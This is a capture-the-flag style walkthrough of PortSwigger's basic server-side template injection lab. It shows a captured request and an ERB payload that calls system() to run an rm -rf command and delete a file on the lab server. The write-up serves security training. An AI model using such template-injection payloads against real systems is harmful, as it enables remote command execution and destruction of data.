Basic server-side template injection

Platform: PortSwigger | Category: SSTI | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SSTI

Summary

Walkthrough of the PortSwigger Web Security Academy lab Basic server-side template injection (SSTI). This lab demonstrates a ssti vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SSTI

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

When we load the firest image in the website , we get the message that the product is out of stock

The following is the GET request that was sent to us,

 http read-only • copy allowed Copy
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2
Host: 0ae800e104787954807bcde700900037.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0ae800e104787954807bcde700900037.web-security-academy.net/
Cookie: session=sfkb71a43M50TVtVZ8WBBtMftYCQ6Qwi
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Since the lab says it is an ERB template, we can test if it is vulnerable by trying the following payload - <%=..%>

It throws an error response as expected.

Now we can try to run commands using the ERB template syntax & delete the morale.txt from carlos's home directory.

Payload used -

 erb read-only • copy allowed Copy
<%= system('rm -rf /home/carlos/morale.txt') %>

Once we send this payload, the morale.txt file is deleted & the lab is solved.

Key Takeaways / Lessons

• Understanding SSTI detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Basic server-side template injection